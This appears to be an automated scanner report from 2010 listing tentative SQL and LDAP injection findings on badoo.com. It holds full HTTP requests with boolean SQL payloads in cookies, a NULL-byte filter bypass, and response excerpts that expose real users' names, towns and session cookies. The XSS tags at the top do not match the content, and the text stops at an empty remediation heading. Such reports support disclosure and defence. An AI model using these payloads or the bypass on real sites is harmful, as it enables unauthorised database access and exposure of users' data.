badoo.com, XSS, CWE-79, CAPEC-86, Cross Site Scripting, Unforgivable Vulnerabilities

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

1.1. http://badoo.com/093407644/ [__utma cookie] next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://badoo.com
Path:	/093407644/

Issue detail

The __utma cookie appears to be vulnerable to SQL injection attacks. The payloads 18147713'%20or%201%3d1--%20 and 18147713'%20or%201%3d2--%20 were each submitted in the __utma cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /093407644/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.118147713'%20or%201%3d1--%20; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response 1

HTTP/1.1 200 OK
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:19 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:18 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 16689

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...
<a href="http://badoo.com/01123921567/" class="mp_l"><img src="http://66.175.123.118/568/9/4/5/1123921567/570536/t1285144245/573695_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Steven</a></big> <small class="mp_p">Fort Worth</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01112137106/" class="mp_l"><img src="http://66.175.123.128/533/7/4/3/1112137106/422106/t1278749949/422164_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Astrid</a></big> <small class="mp_p">Boston</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01123800070/" class="mp_l"><img src="http://66.175.123.106/560/9/3/6/1123800070/644371/t1285144151/648975_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Ervin</a></big> <small class="mp_p">Alabama</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01112454735/" class="mp_l"><img src="http://66.175.123.170/515/7/8/6/1112454735/391589/t1269256336/400413_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Norma</a></big> <small class="mp_p">San Pablo</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01123894168/" class="mp_l"><img src="http://66.175.123.122/629/4/6/0/1123894168/550755/t1285144312/564041_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Juan</a></big> <small class="mp_p">Pierceton</small> </span> </li> </ul> <div class="mp_s"><b><a href="http://badoo.com/dating/usa/?gid=233359523" class="mp_sl" rel="nofollow">Show all 1,849,907 people in United States…</a></b></div> <div class="st_block_br"></div> <div class="sidesection"> </div> </div> </div> </div></div> <div id="footer">  <div id="footwrap"> <p
...[SNIP]...

Request 2

GET /093407644/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.118147713'%20or%201%3d2--%20; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response 2

HTTP/1.1 200 OK
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:20 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:19 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 16704

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...
<a href="http://badoo.com/01117032238/" class="mp_l"><img src="http://66.175.123.100/531/3/7/2/1117032238/481978/t1273339372/481991_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Adam</a></big> <small class="mp_p">Dallas</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01123561929/" class="mp_l"><img src="http://66.175.123.176/571/4/0/8/1123561929/660282/t1286977272/660289_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Regiane Antunes Araujo</a></big> <small class="mp_p">Florida City</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01117038309/" class="mp_l"><img src="http://66.175.123.100/537/1/2/0/1117038309/480289/t1273339251/480295_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Tiago</a></big> <small class="mp_p">Oakdale</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01124279974/" class="mp_l"><img src="http://66.175.123.102/576/7/4/7/1124279974/596974/t1287604820/617202_small.jpg" alt="" class="mp_f mp_ff" width="48" height="48" />Yudi</a></big> <small class="mp_p">Rowlett</small> </span> </li><li class="mp_u"> <span class="mp_a"></span> <span class="mp_i"> <big class="mp_n"><a href="http://badoo.com/01117037805/" class="mp_l"><img src="http://66.175.123.128/544/5/4/3/1117037805/357098/t1277043547/357102_small.jpg" alt="" class="mp_f mp_fm" width="48" height="48" />Braulio</a></big> <small class="mp_p">Brooklyn</small> </span> </li> </ul> <div class="mp_s"><b><a href="http://badoo.com/dating/usa/?gid=233359523" class="mp_sl" rel="nofollow">Show all 1,849,907 people in United States…</a></b></div> <div class="st_block_br"></div> <div class="sidesection"> </div> </div> </div> </div></div> <div id="footer">  <div id
...[SNIP]...

1.2. http://badoo.com/facebook/auth.phtml [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://badoo.com
Path:	/facebook/auth.phtml

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /facebook%00'/auth.phtml HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response 1

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:13 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:12 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5245

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<link rel="stylesheet" href="http://images.badoo.com/2384/-/-/css/page.error-notfound.css" type="text/css" media="screen,projection,print" />
...[SNIP]...

Request 2

GET /facebook%00''/auth.phtml HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response 2

HTTP/1.1 400 Bad Request
Server: nginx/0.8.53
Date: Tue, 09 Nov 2010 15:55:13 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/0.8.53</center>
</body>
</html>

1.3. http://badoo.com/facebook/auth.phtml [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://badoo.com
Path:	/facebook/auth.phtml

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

Request 1

GET /facebook/auth.phtml%00' HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response 1

HTTP/1.1 404 Not Found
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:55:50 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:55:49 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 5245

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title>Badoo
...[SNIP]...
<link rel="stylesheet" href="http://images.badoo.com/2384/-/-/css/page.error-notfound.css" type="text/css" media="screen,projection,print" />
...[SNIP]...

Request 2

GET /facebook/auth.phtml%00'' HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response 2

HTTP/1.1 400 Bad Request
Server: nginx/0.8.53
Date: Tue, 09 Nov 2010 15:55:50 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/0.8.53</center>
</body>
</html>

1.4. http://badoo.com/veletanga77/ [__utmz cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://badoo.com
Path:	/veletanga77/

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the __utmz cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /veletanga77/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'%20and%201%3d1--%20; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response 1

HTTP/1.1 200 OK
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:04 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:03 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 12654

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...
<meta property="og:image" content="http://66.175.123.171/523/7/1/3/1055321593/145767/t1287795740/152488_300.jpg"/>
<meta property="fb:app_id" content="107433747809"/>
</head> <body class="profile-view"> <div id="wrap"><div id="wrap1"> <div id="head"> <div id="logo"> <a href="http://badoo.com/" class="logo_anchor"><img src="http://images.badoo.com/2384/-/-/i/logo.png" class="logoimg" alt="dating" width="154" height="45" /></a> Meet new people
</div> <div class="sm"> <div class="sm_l"> <div class="dropdown_menu"> <span class="dropdown_item_css"><a class="dropdown_item" href="http://badoo.com/languages/">English</a><i></i></span> <ul class="show_dropdown"> <li><span class="dropdown_item">English</span><i></i></li><li><a href="http://badoo.com/veletanga77/?lang_id=5">Deutsch</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=6">Fran..ais</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=7">Espa..ol</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=8">Italiano</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=61">Portugu..s</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=2">..............</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=79">......</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=55">Nederlands</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=41">.........</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=45">.........</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=70">Svenska</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=59">Polski</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=16">..e..tina</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=19">................</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=76">T..rk..e</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=26">Suomi</a></li> </ul> <!--[if lt
...[SNIP]...

Request 2

GET /veletanga77/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'%20and%201%3d2--%20; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response 2

HTTP/1.1 200 OK
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:53:05 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:04 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 12640

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...
<meta property="og:image" content="http://p517.badoo.com/523/7/1/3/1055321593/145767/t1287795740/152488_300.jpg"/>
<meta property="fb:app_id" content="107433747809"/>
</head> <body class="profile-view"> <div id="wrap"><div id="wrap1"> <div id="head"> <div id="logo"> <a href="http://badoo.com/" class="logo_anchor"><img src="http://images.badoo.com/2384/-/-/i/logo.png" class="logoimg" alt="dating" width="154" height="45" /></a> Meet new people
</div> <div class="sm"> <div class="sm_l"> <div class="dropdown_menu"> <span class="dropdown_item_css"><a class="dropdown_item" href="http://badoo.com/languages/">English</a><i></i></span> <ul class="show_dropdown"> <li><span class="dropdown_item">English</span><i></i></li><li><a href="http://badoo.com/veletanga77/?lang_id=5">Deutsch</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=6">Fran..ais</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=7">Espa..ol</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=8">Italiano</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=61">Portugu..s</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=2">..............</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=79">......</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=55">Nederlands</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=41">.........</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=45">.........</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=70">Svenska</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=59">Polski</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=16">..e..tina</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=19">................</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=76">T..rk..e</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=26">Suomi</a></li> </ul> <!--[if lt
...[SNIP]...

1.5. http://badoo.com/veletanga77/ [t cookie] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://badoo.com
Path:	/veletanga77/

Issue detail

The t cookie appears to be vulnerable to SQL injection attacks. The payloads 15342933'%20or%201%3d1--%20 and 15342933'%20or%201%3d2--%20 were each submitted in the t cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /veletanga77/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|777915342933'%20or%201%3d1--%20; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response 1

HTTP/1.1 200 OK
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:52:49 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:52:48 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 12658

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...
<meta property="og:image" content="http://p517.badoo.com/523/7/1/3/1055321593/145767/t1287795740/152488_300.jpg"/>
<meta property="fb:app_id" content="107433747809"/>
</head> <body class="profile-view"> <div id="wrap"><div id="wrap1"> <div id="head"> <div id="logo"> <a href="http://badoo.com/" class="logo_anchor"><img src="http://images.badoo.com/2384/-/-/i/logo.png" class="logoimg" alt="dating" width="154" height="45" /></a> Meet new people
</div> <div class="sm"> <div class="sm_l"> <div class="dropdown_menu"> <span class="dropdown_item_css"><a class="dropdown_item" href="http://badoo.com/languages/">English</a><i></i></span> <ul class="show_dropdown"> <li><span class="dropdown_item">English</span><i></i></li><li><a href="http://badoo.com/veletanga77/?lang_id=5">Deutsch</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=6">Fran..ais</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=7">Espa..ol</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=8">Italiano</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=61">Portugu..s</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=2">..............</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=79">......</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=55">Nederlands</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=41">.........</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=45">.........</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=70">Svenska</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=59">Polski</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=16">..e..tina</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=19">................</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=76">T..rk..e</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=26">Suomi</a></li> </ul> <!--[if lt
...[SNIP]...

Request 2

GET /veletanga77/ HTTP/1.1
Host: badoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|777915342933'%20or%201%3d2--%20; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;

Response 2

HTTP/1.1 200 OK
Server: nginx/0.7.64
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com
Date: Tue, 09 Nov 2010 15:52:49 GMT
P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA"
Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:52:48 GMT; path=/; domain=.badoo.com
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Cache-control: private
Content-Length: 12648

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title
...[SNIP]...
<meta property="og:image" content="http://66.175.123.171/523/7/1/3/1055321593/145767/t1287795740/152488_300.jpg"/>
<meta property="fb:app_id" content="107433747809"/>
</head> <body class="profile-view"> <div id="wrap"><div id="wrap1"> <div id="head"> <div id="logo"> <a href="http://badoo.com/" class="logo_anchor"><img src="http://images.badoo.com/2384/-/-/i/logo.png" class="logoimg" alt="dating" width="154" height="45" /></a> Meet new people
</div> <div class="sm"> <div class="sm_l"> <div class="dropdown_menu"> <span class="dropdown_item_css"><a class="dropdown_item" href="http://badoo.com/languages/">English</a><i></i></span> <ul class="show_dropdown"> <li><span class="dropdown_item">English</span><i></i></li><li><a href="http://badoo.com/veletanga77/?lang_id=5">Deutsch</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=6">Fran..ais</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=7">Espa..ol</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=8">Italiano</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=61">Portugu..s</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=2">..............</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=79">......</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=55">Nederlands</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=41">.........</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=45">.........</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=70">Svenska</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=59">Polski</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=16">..e..tina</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=19">................</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=76">T..rk..e</a></li><li><a href="http://badoo.com/veletanga77/?lang_id=26">Suomi</a></li> </ul> <!--[if lt
...[SNIP]...

2. LDAP injection previous next
There are 2 instances of this issue:

/doritos699/ [__utmb cookie]
/webone/ [__utmc cookie]

Issue background

LDAP injection arises when user-controllable data is copied in an unsafe way into an LDAP query that is performed by the application. If an attacker can inject LDAP metacharacters into the query, then they can interfere with the query's logic. Depending on the function for which the query is used, the attacker may be able to retrieve sensitive data to which they are not authorised, or subvert the application's logic to perform some unauthorised action.

Note that automated difference-based tests for LDAP injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue remediation

